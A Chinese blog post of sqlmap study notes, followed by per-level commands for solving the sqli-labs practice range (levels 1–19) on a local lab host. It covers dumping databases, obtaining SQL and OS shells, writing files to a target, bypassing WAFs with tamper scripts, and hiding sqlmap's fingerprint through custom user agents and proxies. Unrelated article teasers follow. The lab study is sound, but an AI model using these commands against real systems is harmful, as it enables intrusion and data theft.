sqlmap学习,打靶sqli-labs.(1-19)

news/2024/11/26 13:58:25/

前言:用于学习sqlmap的简单使用,使用sqli-labs靶场进行测试。

当然,在实战中,考虑的更多,例如如何隐藏自己(特征码),编码加解密、sqlmap抓包调试分析等...

不过那些都是后话,太遥远...基础NO.1!!

先贴上我的sqlmap笔记。

# SQLMAP的使用。--->MYSQL# 1.判断注入点 
python .\sqlmap.py -u "目标" [会自行判断]# 2.爆库 python .\sqlmap -u "目标" --current-db
[一般来讲不用tables--->因为会获取所以的database,而用--current-db获取当前数据库]# 3.爆表  python .\sqlmap -u "目标" --tables -D "库名" 
[tables获取所有当前库的表]# 4.爆破字段 python .\sqlmap -u "目标" --columns -T "表名" --tables -D "库名"
[同理,获取当前所有字段]# 5.爆出数据  python .\sqlmap -u "目标" --dump -C "字段1,字段2" --columns -T "表名" --tables -D "库名"[结果会保存在"C:\Users\13168\AppData\Local\sqlmap\  对应URL的dump"中]# 高权限
--is-dba 、# 判断是否是管理员   
[如果是]
--sql-shell [高权限,直接读取。][做其他事儿]
--file-write "恶意文件路径" --file-dest "目标文件路径"--os-cmd=ver # 一次--os-shell # 交互# 提交方法 
# GET
[GET就是上面的那种]# POST python .\sqlmap -u "目标" --data "POST表单数据(可以通过抓包查看,浏览器负载中可见POST)"
[POST需要额外需要data,其他一样]# cookie  --cookie ""##### 文件头注入(标头注入) python .\sqlmap -r .\数据包.txt ————##小迪推荐## 原因: ![alt text](image-7.png)
:避免不能访问而导致的无效注入[复制请求标头,bp抓你自己发送的包 - - ]
在注入点后面加上*,把 数据包.txt 保存在sqlmap的目录并使用参数进行注入.[不加*会默认全是注入点...]# 绕过模块 - tamper脚本-使用&开发
因为sqlmap不会识别编码加解密问题 所以需要进行"告知"
sqlmap data模块 是关于payload以及exp设置tamper 自带的有一些编码加解密  
https://www.cnblogs.com/bmjoker/p/9326258.html --tamper参数参考 python .\sqlmap -u "目标" --tamper=base64encode.py[tamper目录自带的,仅复制名字就可以]# 过滤代码 (PHP) 防止一些SQL注入 
[若攻击者知道你的过滤思路,且能利用缺陷,那么借助tamper(可以自己CV复制模板针对性编写)]
WAF:
![alt text](image-8.png) 
payload:
![alt text](image-9.png)
难点:测试黑盒环境中,提取有用信息,而不是难的写脚本.拓展引用:--batch  # 自动最优选择Y/N/Q
--thread # 1-10指定线程
-v  #详细的等级(0-6) 小迪说一般用的最多是的 4 方法: -v 4 [配合tamper,能够分析是否注入、有没有生效、进行调试,判断是哪儿出现问题]0:只显示Python的回溯,错误和关键消息。 1:显示信息和警告消息。 2:显示调试消息。 3:有效载荷注入。 4:显示HTTP请求。 5:显示HTTP响应头。 6:显示HTTP响应页面的内容 sqlmap最典型的特征: sqlmap/版本号#dev (https://sqlmap.org) ----特征码[蓝队防守思路]突破指纹识别: 
--user-agent "自定义UA头内容" # 自定义UA头 
--random-agent # 随机user-agent
--time-sec=(2,5) # 延迟响应,默认为5#####等级--level=(1-5) # 要执行的测试水平等级,默认为1 测试的深度,=2测试cookie等 >=3 ua、referer... --risk=(0-3) # 测试执行的风险等级,默认为1
[level和risk,自己选,都可以选择]
[level-x(x为1-5)当为2时会对头部的cookie进行扫描注入尝试,x>=3时对user-Agent,ip,referer参数进行扫描]
[risk-x,(x为1-3)1时进行大部分扫描,2会增加基于事件的测试语句,3会增加or语句的sql注入]###意义:[测试数据包全部数据,因为存在隐藏参数.但是测试时间会更长]代理注入: 一般配合bp抓包,时时进行观察
--proxy "http://xx:xx" # 代理注入
--proxy "http://127.0.0.1:8080"[代理池,思路同上,]--小迪推荐 快代理[网站名]-->隧道代理。

Less-1~9

GET型

通杀:

 python .\sqlmap.py -u "http://192.168.117.131:8081/Less-9/?id=1" --batch --dbs

第10关

需要增加测试等级深度 --level=2(2往上走)

 python .\sqlmap.py -u "http://192.168.117.131:8081/Less-10/?id=1" --batch --dbs --level=3

Less11~15

通杀:

一、 POST参数注入
python .\sqlmap.py -u "http://192.168.117.131:8081/Less-15/" --data "uname=1&passwd=1&submit=Submit" --batch --dbs
二、标头注入python .\sqlmap.py -r 1.txt --batch --dbs

POST类型

一般会使用 --data(不过更推荐 -r 标头注入.txt        原因-:数据完整性?) 

 ① --data : POST参数注入

 python .\sqlmap.py -u "http://192.168.117.131:8081/Less-11/"  --data "uname=1&passwd=1&submit=Submit" --batch --dbs

标头注入:(标头注入 || 数据包注入 [浏览器或bp获取标头or数据包])

①通过浏览器获取表单

F12---->网络


 

1.txt内容如下:(1.txt在sqlmap的目录下)

②复制bp抓包的数据:(标头注入更推荐bp)

。。。。其他操作与①一样.

less16~17

深度设为 --level=2往上走就可以了。[建议 --thread 多线程一起跑,太慢了....]

推荐使用标头注入(数据包完整)

 python .\sqlmap.py -r .\1.txt --batch --dbs --level=2

less18等级设为 3 

less19:(refer注入,不知道不设*也可注入成功.)

 python .\sqlmap.py -r .\1.txt --batch --dbs --level=3

less20:

(待补!卡住了)


http://www.ppmy.cn/news/1550074.html

相关文章

【操作系统】第三章:内存管理

本篇笔记课程来源:王道计算机考研 操作系统 【操作系统】第三章:内存管理 一、内存管理的基本概念1. 基本概念2. 存储单元3. 内存地址4. 装入方式(地址转换)5. 链接方式 二、内存管理的作用1. 分配与回收2. 内存扩展3. 地址转换4.…

Mybatis PLUS查询对List使用OR模糊查询

Mybatis PLUS查询对List使用OR模糊查询 1、版本2、代码3、效果 1、版本 Mybatis PLUS版本&#xff1a;3.5.7 注意&#xff1a;版本3.1.2及以下是需要return的 因当前为高版本&#xff0c;代码中已将 return 注释。 2、代码 QueryWrapper<Object> queryWrapper new Que…

(免费送源码)计算机毕业设计原创定制:Java+JSP+HTML+JQUERY+AJAX+MySQL springboot计算机类专业考研学习网站管理系统

摘 要 大数据时代下&#xff0c;数据呈爆炸式地增长。为了迎合信息化时代的潮流和信息化安全的要求&#xff0c;利用互联网服务于其他行业&#xff0c;促进生产&#xff0c;已经是成为一种势不可挡的趋势。在大学生在线计算机类专业考研学习网站管理的要求下&#xff0c;开发一…

02微服务系统与设计(D1_走出微服务误区:避免从单体到分布式单体)

目录 学习前言 一、回顾&#xff1a;从单体到微服务到 Function 二、分布式单体 分布式单体起因之一&#xff1a;通过共享库和网络客户端访问分布式能力 分布式单体起因之二&#xff1a;简单用远程调用替代进程内方法调用 分布式单体起因小结 三、引入非侵入式方案&#…

WorkPlusIM即时通讯平台:构建生态化的全方位办公解决方案

在数字化转型的浪潮中&#xff0c;企业的内部沟通与协作方式正在经历迅速而深刻的变革。传统的沟通工具频繁遭遇使用瓶颈&#xff0c;难以满足现代企业的动态需求。针对这一趋势&#xff0c;WorkPlusIM即时通讯平台应运而生&#xff0c;致力于为企业提供不仅限于即时通讯的全方…

进程间通信5:信号

引入 我们之前学习了信号量&#xff0c;信号量和信号可不是一个东西&#xff0c;不能混淆。 信号是什么以及一些基础概念 信号是一种让进程给其他进程发送异步消息的方式 信号是随时产生的&#xff0c;无法预测信号可以临时保存下来&#xff0c;之后再处理信号是异步发送的…

Oracle-索引的创建和优化

-- Oracle数据库会为表的主键和包含唯一约束的列自动创建索引 -- 索引种类 -- 普通索引 create index idx_emp_index_sal on emp_index(sal); -- 唯一索引 create unique index uq_idx_emp_index_ename on emp_index(ename); -- 组合索引 create index idx_…

第二十天 模型评估与调优

模型评估与调优是机器学习流程中至关重要的一环。以下是对这两个方面的详细解释&#xff1a; 一、模型评估 模型评估是指通过一系列指标和方法来评估机器学习模型的性能&#xff0c;以确保模型在实际应用中能够表现出色。 评估指标 准确率&#xff08;Accuracy&#xff09;&a…